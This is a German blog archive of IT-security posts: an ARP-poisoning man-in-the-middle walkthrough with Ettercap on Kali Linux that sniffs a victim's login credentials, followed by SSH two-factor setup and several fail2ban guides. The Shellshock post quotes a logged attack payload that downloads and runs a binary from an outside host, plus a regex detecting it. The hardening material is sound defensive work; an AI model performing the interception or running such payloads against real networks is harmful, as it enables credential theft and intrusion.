Schlagwort-Archive: IT-Sicherheit

ARP Poisoning mit Kali Linux

Grundlagen

ARP – Address Resolution Protocol

ARP, Address Resolution Protocol, ist ein Netzwerkprotokoll, welches in lokalen Netzwerken zu einer IP-Adresse, z. B. 10.0.0.1, die MAC-Adresse, z. B. 76:1b:4c:37:81:41, ermittelt.

MITM – Man in the middle

Als Man in the middle Attacke bezeichnet man einen Angriff, bei dem sich der Angreifer in die Kommunikation einklinkt. Er befindet sich damit zwischen (sozusagen in der Mitte / in the middle) Angreifer und Ziel:

MITM-trans-text

 

Statt der direkten Verbindung Zwischen Opfer und Gateway wird der Verkehr nun über den Angreifer umgeleitet und kann dort mitgeschnitten oder verändert werden.

ARP Poisoning

Beim ARP Poisoning werden für ein bestimmtes Ziel gefälschte ARP-Pakete ins Netzwerk gesendet. Somit können einerseits Anfragen wie oben beschrieben umgeleitet und für eine MITM Attacke genutzt werden. Ein weiteres Szenario ist das Umleiten von Anfragen an eine bestimmte Maschine an ein Ziel, welches nicht existiert. Hiermit kann der Zugriff auf bestimmte Systeme unterbunden werden, beispielsweise auf das Internet (Gateway) oder auf bestimmte Application Server.

Kali Linux

Kali Linux ist eine auf Debian basierende Linux-Distribution, welche auf  Sicherheitstests ausgerichtet ist.

Praxistest mit Ettercap

Vorwort

Die hier beschriebene Vorgehensweise sollte ausschließlich in Testumgebungen durchgeführt werden. Mir ist wichtig darauf hinzuweisen, dass unbedingt geltende Bestimmungen und Gesetze eingehalten werden sollen. Weiter sei angemerkt, dass durch das Umleiten bestimmter Komponenten im Netzwerk schnell ein ganzes Netz lahmgelegt werden kann und was als Test begann,  plötzlich zu heftigen Produktionsausfällen führen kann.

Konfiguration

Wir passen /etc/ettercap/etter.conf an zwei Stellen an.

[privs]
ec_uid = 0
ec_gid = 0

…und weiter unten entfernen wir die Kommentarzeichen vor redir_command:

# if you use iptables:
   redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
   redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

Danach kann der eigentliche Eingriff in das Netzwerk beginnen.

Durchführung

In einer Rootshell wird ettercap gestartet:

ettercap -G

Zunächst wird unter Options „Promisc mode“ angehakt.

Danach wird unter Sniff > Unified Sniffing… eine Netzwerkschnittstelle ausgewählt, welche an das zu untersuchende Netz angebunden ist, z. B. eth0 oder wlan0.

Als nächstes wird unter Hosts mit „Scan for hosts“  nach Geräten im Netzwerk gesucht. Ein Klick auf Hosts > Host list zeigt die gefundenen Geräte. Möchten wir nur in eine bestimmte Verbindung eingreifen, suchen wir zunächst in der Hostliste das Gateway und wählen es mit „Add to Target 1“ aus, das Opfer wählen wir mit „Add to Target 2“ aus.

Unter Mitm > Arp Poisoning… haken wir „Sniff remote connections“ an.

Ettercap zeigt nun beispielsweise Benutzername und Passwort an, wenn von dem Gerät des Opfers eine Anmeldung an WordPress erfolgt. Startet man driftnet können die Bilder der aufgerufenen Websites angezeigt werden. Mittels urlsnarf werden die aufgerufenen Websites ausgegeben.

Beendet wird mit Start > Stop sniffing.

Schlusswort

Hiermit ist eindrucksvoll demonstriert, wie leicht es ist, in einem Netzwerk Informationen zu erlangen, die nicht für Dritte gedacht sind. Wer in unbekannten Netzen unterwegs ist, beispielsweise im Hotel, an der Universität, in der WG oder einfach mal schnell mit dem Smartphone im WLAN bei Freunden, sollte sich immer auch Gedanken um die Sicherheit machen.

Have fun!

SSH: 2-Wege-Authentifizierung mit Google Authenticator

Vorwort

Für ein gefühltes Stück mehr Sicherheit kann sshd um eine Zweifaktorauthentifizierung erweitert werden.

Installation

## Bibliothek zum Erzeugen von QR-Codes
apt-get install libqrencode3

cd /tmp/

## Google Authenticator besorgen
wget  http://ftp.us.debian.org/debian/pool/main/g/google-authenticator/libpam-google-authenticator_20130529-2_amd64.deb

## Google Authenticator installieren
dpkg -i libpam-google-authenticator_20130529-2_amd64.deb

## Google Authenticator ausführen
google-authenticator

Wir beantworten einige fragen und erhalten dann einen QR-Code, der mit dem Smartphone gescannt werden kann, er wird dann mit der Google-Authenticator-App verarbeitet. Zusätzlich werden sogenannte Scratch-Codes mitgeteilt, dies sind Einmalpasswörter, die im Notfall genutzt werden können, sollte das Smartphone nicht zu Hand oder defekt sein.

Einrichtung

Wir erweitern /etc/pam.d/sshd wie folgt:

auth    required        pam_google_authenticator.so

In /etc/ssh/sshd_config werden folgende Anpassungen vorgenommen:

ChallengeResponseAuthentication yes
UsePAM yes

Im Anschluss ist sshd neuzustarten. Beim erneuten Anmelden wird dann neben dem Passwort ein Auth-Code abgefragt:

login as: krausix
Using keyboard-interactive authentication.
Verification code: 646135
Using keyboard-interactive authentication.
Password: GeH3im

Have fun!

Fail2ban – Regel für Bash-Sicherheitslücke Shellshock

Einleitung

Zurzeit ist die Bash-Sicherheitslücke Shellshock in aller Munde. Vereinfacht ermöglicht diese Sicherheitslücke, in Umgebungsvariablen ungeprüften Code einzufügen, welcher beim nächsten Start einer Bash-Shell dann ausgeführt wird. Betroffen sind insbesondere Webserver, hier reicht ein gezielter Aufruf mittels wget oder curl, welcher bestimmte Parameter beinhaltet. Da die Bash generell sehr häufig genutzt wird, ist die Sicherheitslücke nicht bloß auf Webserver beschränkt sonder voraussichtlich auf ein weites Feld von Anwendungen, die Bash nutzen.

Ganz wichtig ist, dass die Fail2ban-Erweiterung kein Ersatz für ein gepatchtes System ist, sondern lediglich eine Ergänzung. Voraussetzung ist in jedem Fall, dass zunächst das System aktualisiert wird, alle gängigen Distributionen halten bereits seit Tagen entsprechende Updates bereit.

Apache-Logs

Die verdächtigen Apache-Logs habe ich mit cat /var/log/apache2/access.log | grep „() { :;“ durchsucht, die Ausgabe könnte so aussehen:

69.XXX.XXX.XXX - - [29/Sep/2014:06:15:06 +0200] "GET /cgi-bin/test.sh HTTP/1.0" 404 476 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/ec.z test.69.XXX.XXX.XXX/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*\""

Bei nicht gepatchten System bedeutet dies im Zweifen den GAU.

Filterregel

Wir erstellen eine neue Regel /etc/fail2ban/filter.d/shellshock-scan.conf wie folgt:

[Definition]

failregex = <HOST>.*\(\s*\)\s*\{[^"]*\}\s*\;[^"]+

ignoreregex =

Gefunden habe ich diese Regel habe hier. Sie war zugegebenermaßen etwas besser als meine, vielen Dank an dieser Stelle.

Jail.local

In /etc/fail2ban/jail.conf wird folgendes ergänzt:

[shellshock-scan]

enabled = true
port = http,https
filter = shellshock-scan
logpath = /var/log/apache*/*.log
maxretry = 1

Fail2ban muss im Anschluss neugestartet werden, um die neue Regel zu aktivieren.

Test

Hiermit kann die neue Filterregel getestet werden:

fail2ban-regex /var/log/apache2/access.log /etc/fail2ban/filter.d/shellshock-scan.conf

Die Ausgabe sieht dann so in etwa aus:

Running tests
=============

Use regex file : /etc/fail2ban/filter.d/shellshock-scan.conf
Use log file   : /var/log/apache2/access.log


Results
=======

Failregex
|- Regular expressions:
|  [1] <HOST>.*\(\s*\)\s*\{[^"]*\}\s*\;[^"]+
|
`- Number of matches:
   [1] 326 match(es)

Ignoreregex
|- Regular expressions:
|
`- Number of matches:

Summary
=======

Addresses found:
[1]
    69.XXX.XXX.XXX (Mon Sep 29 06:15:06 2014)
    [...]


Success, the total number of match is 326

Have fun!

Fail2SQL, eine fail2ban-Erweiterung

Vorwort

Ich nutze seit geraumer Zeit fail2ban zum Blocken von IP-Adressen, von welchen aus mittels Brute-Force massive Login-Versuche entdeckt werden. Beim Stöbern bin ich dann auf fail2sql gestoßen. Damit lassen sich die geblockten IP-Adressen mit nützlichen Zusatzinformationen in einer MySQL-Datenbank ablegen.

Installation

Download von fail2ban, anschließend entpacken:

wget http://fail2sql.sourceforge.net/fail2sql-1.0.tar.gz
tar xvf fail2sql-1.0.tar.gz
mkdir -p /usr/local/fail2sql/
cp fail2sql/* /usr/local/fail2sql/
cd /usr/local/fail2sql/

Datenbank

Es wird eine Datenbank fail2ban mit gleichnamigem Benutzer und entsprechenden Berechtigungen erstellt:

CREATE USER fail2ban@localhost IDENTIFIED BY 'passwort';
GRANT USAGE ON *.* TO fail2ban@localhost IDENTIFIED BY 'passwort';
CREATE DATABASE IF NOT EXISTS fail2ban;
GRANT ALL PRIVILEGES ON fail2ban.* TO fail2ban@localhost;

Anschließend wird das mitgelieferte Skript eingespielt:

mysql -u fail2ban -p fail2ban< fail2ban.sql

Datenbank-Verbindung ist anzupassen (Host/User/Passwort):

vi fail2sql

Update der GeoIP-Datenbank

./fail2sql -u

Fail2Ban

Schließlich ist noch „actionban“ anzupassen:

vi /etc/fail2ban/action.d/iptables-multiport.conf
vi /etc/fail2ban/action.d/iptables.conf
vi ...
actionban = iptables -I fail2ban-<name> 1 -s <ip> -j DROP
        /usr/local/fail2sql/fail2sql <name> <protocol> <port> <ip>

Somit sind die Vorbereitungen abgeschlossen.

Links

http://sourceforge.net/projects/fail2sql/
http://www.dbsysnet.com/howto-geolocation-for-fail2ban/

Karte

fail2ban Installation und Konfiguration

Was ist fail2ban?

In der deutschen FAQ wird diese Frage wie folgt beantwortet:

Fail2Ban durchsucht Logdateien wie /var/log/pwdfail oder /var/log/apache/error_log und blockt IP-Adressen, die zu viele fehlgeschlagene Loginversuche haben. Es aktualisiert Firewallregeln, um diese IP-Adressen zu sperren. Fail2Ban kann mehrere Logfiles lesen – beispielsweise die von sshd oder apache. Die IP-Adressen werden nach einer vorher festgelegten Zeitspanne wieder aktiviert.

Vielleicht sind bereits Log-Einträge aufgefallen, bei denen von der gleichen IP-Adresse ausgehend der SSH penetriert wird:

Feb 16 04:11:26 xxxxx sshd[32640]: Failed password for root from xxx.xxx.xxx.xxx port 37971 ssh2
Feb 16 04:11:32 xxxxx sshd[32642]: Failed password for root from xxx.xxx.xxx.xxx port 38073 ssh2

Hierbei ist xxxxx die angegriffene Maschine und xxx.xxx.xxx.xxx die IP des Angreifers. Fail2ban durchsucht nun jene Log-Files und sperrt per Firewall-Regel den den Agreifer für eine definierbare zeit aus.

Installation

Das Paket wird mittels apt-get installiert.

apt-get install fail2ban

 Konfiguration

Allgemein

Ich nutze Debian, hier liegen die Konfigurationsdateien unter /etc/fail2ban. Anzupassen ist hier die Datei /etc/fail2ban/jail.conf. Da fail2ban in den meisten Fällen bereits out-of-the-box läuft, möchte ich nur einige interessante Parameter aufführen:

[DEFAULT]
ignoreip = 127.0.0.1
bantime  = 86400
maxretry = 2

Mit ignoreip können (eigene) IP’s definiert werden, welche nicht gesperrt werden sollen. Bantime gibt an, wie lange eine Sperrung erfolgen soll, der Wert wird hier in Sekunden angegeben, ich habe mich für einen ganzen Tag entschieden. Maxretry gibt die Standardeinstellung an, wie viele Verbindungsversuche erlaubt sind, bis es zur Sperrung kommt.

Mail

Fail2ban bietet die Möglichkeit, seine Tätigkeit per Mail zu protokollieren. Der Benutzer ann wählen, wohin gemailt werden soll und mit welcher Detailtiefe. Die Mailadresse wird unter destmail angegeben, action gibt die Detailtiefe an.

destemail = <Ihre@Mailadresse>
action = %(action_mwl)s

Mit dieser Einstellung wird ein detailliertes Protokoll an <Ihre@Mailadresse> versandt. Ein Auszug aus der Konfigurationsdatei zeigt weitere Einstellungsmöglichkeiten:

# The simplest action to take: ban only
action_ = %(banaction)s[name=%(__name__)s, port="%(port)s", protocol="%(protocol)s]

# ban & send an e-mail with whois report to the destemail.
action_mw = %(banaction)s[name=%(__name__)s, port="%(port)s", protocol="%(protocol)s]
              %(mta)s-whois[name=%(__name__)s, dest="%(destemail)s", protocol="%(protocol)s]

# ban & send an e-mail with whois report and relevant log lines
# to the destemail.
action_mwl = %(banaction)s[name=%(__name__)s, port="%(port)s", protocol="%(protocol)s]
               %(mta)s-whois-lines[name=%(__name__)s, dest="%(destemail)s", logpath=%(logpath)s]

ssh

Die bereits angesprochene Standardeinstellung maxretry kann für jeden konfigurierten Dienst individuell überschrieben werden, ich verwende auch hier 2.

[ssh]

enabled = true
port    = ssh
filter  = sshd
logpath  = /var/log/auth.log
maxretry = 2

fail2ban starten

Damit die Änderungen aktiv werden, wird der Dienst einfach neugestartet

/etc/init.d/fail2ban restart

Beachten Sie danach einfach die Logs und die Mails unter der eingestellten Mailadresse.